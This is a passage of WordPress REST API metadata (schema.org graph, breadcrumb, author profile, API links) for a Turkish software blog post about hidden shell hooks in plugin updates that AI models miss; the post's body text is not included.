D\u00fcnyas\u0131","isPartOf":{"@id":"https:\/\/fatihsoysal.com\/blog\/#website"},"datePublished":"2026-09-10T18:16:22+00:00","dateModified":"2026-09-10T18:16:54+00:00","breadcrumb":{"@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#breadcrumb"},"inLanguage":"tr","potentialAction":[{"@type":"ReadAction","target":["https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/fatihsoysal.com\/blog\/eklenti-guncellemeleriyle-gelen-gizli-tehlike-yapay-zeka-modellerinin-gozunden-kacan-kabuk-kancalari\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Anasayfa","item":"https:\/\/fatihsoysal.com\/blog\/"},{"@type":"ListItem","position":2,"name":"Eklenti G\u00fcncellemeleriyle Gelen Gizli Tehlike: Yapay Zeka Modellerinin G\u00f6z\u00fcnden Ka\u00e7an Kabuk Kancalar\u0131"}]},{"@type":"WebSite","@id":"https:\/\/fatihsoysal.com\/blog\/#website","url":"https:\/\/fatihsoysal.com\/blog\/","name":"Fatihsoysal.com","description":"Blog - Yaz\u0131l\u0131m D\u00fcnyas\u0131 Tecr\u00fcbelerim","publisher":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/fatihsoysal.com\/blog\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"tr"},{"@type":["Person","Organization"],"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/002a254750921dcfd568a99e48240dd1","name":"Fatih Soysal","image":{"@type":"ImageObject","inLanguage":"tr","@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/","url":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","contentUrl":"https:\/\/fatihsoysal.com\/blog\/wp-content\/uploads\/2024\/04\/cropped-replicate-prediction-3kgg1hgjn5rgp0cf0p5tr0jw7w-1.png","width":512,"height":512,"caption":"Fatih Soysal"},"logo":{"@id":"https:\/\/fatihsoysal.com\/blog\/#\/schema\/person\/image\/"},"description":"Kullan\u0131m ve kodlama m\u00fckemmeliyetini odak alan uygulamalar olu\u015fturma deneyimine sahip, profesyonel olarak 15+ y\u0131l \u00fczeri deneyime sahip bir yaz\u0131l\u0131m m\u00fchendisi.","url":"https:\/\/fatihsoysal.com\/blog\/author\/fatihsoysal\/"}]}},"yoast_meta":{"yoast_wpseo_title":"","yoast_wpseo_metadesc":"","yoast_wpseo_canonical":""},"amp_enabled":true,"_links":{"self":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/44637","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/comments?post=44637"}],"version-history":[{"count":1,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/44637\/revisions"}],"predecessor-version":[{"id":44638,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/posts\/44637\/revisions\/44638"}],"wp:attachment":[{"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/media?parent=44637"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/categories?post=44637"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fatihsoysal.com\/blog\/wp-json\/wp\/v2\/tags?post=44637"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}